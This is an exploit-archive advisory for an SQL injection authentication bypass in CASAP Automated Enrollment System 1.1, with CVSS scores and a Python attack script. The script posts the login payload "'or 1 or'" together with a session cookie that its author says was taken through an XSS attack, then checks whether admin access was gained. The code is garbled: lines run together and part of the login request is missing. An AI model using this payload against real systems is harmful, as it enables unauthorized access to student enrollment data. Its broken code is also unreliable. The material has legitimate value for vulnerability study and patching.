CASAP Automated Enrollment System 1.1 SQL Injection

Credit: nu11secur1ty
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: CASAP Automated Enrollment System 1.1 - Authentication Bypass cookie session # Exploit Author: @nu11secur1ty # Date: 03.02.2021 # Vendor Homepage: # Software Link: # Version: 1.1 # Tested On: Ubuntu + XAMPP 7.3.2 # Description: CASAP Automated Enrollment System 1.0 - Authentication Bypass SQLi cookie session # Exploit Link: # More: [Exploit] import time import sys import requests import webbrowser # Creator of the idea: Himanshu Shukla print("Author: @nu11secur1ty") def authbypass(url): #Authentication Bypass s = requests.Session() #Set Cookie fot testing #PHPSESSID=3g6ghfl8i7qh190m4pq92fv262 #in my case from XSS attack cookies = {'PHPSESSID': 'inucrnag25j9h5hb826kovir0p'} print ("[*]Attempting Authentication Bypass cookie session...") time.sleep(1) values = {"username":"'or 1 or'","password":""}'login.php', data=values, cookies=cookies) p=s.get(url+'dashboard.php', cookies=cookies) #Check if Authentication was bypassed or not. logged_in = True if ("true_admin" in r.text) else False l=logged_in if l: print("[+]Authentication Bypass Successful...!") else: print("[-]Failed cookie Authentication exploit!") print("[-]Check Your URL") if __name__ == "__main__": if len(sys.argv)!=2: print("You Haven't Provided any URL!") print("Usage : python3 <URL>") print("Example : python3 http://IP_or_domain/final/") exit() try: authbypass(sys.argv[1])'') except: print("[-]Invalid URL!") exit() # BR @nu11secur1ty -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <>

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021,


Back to Top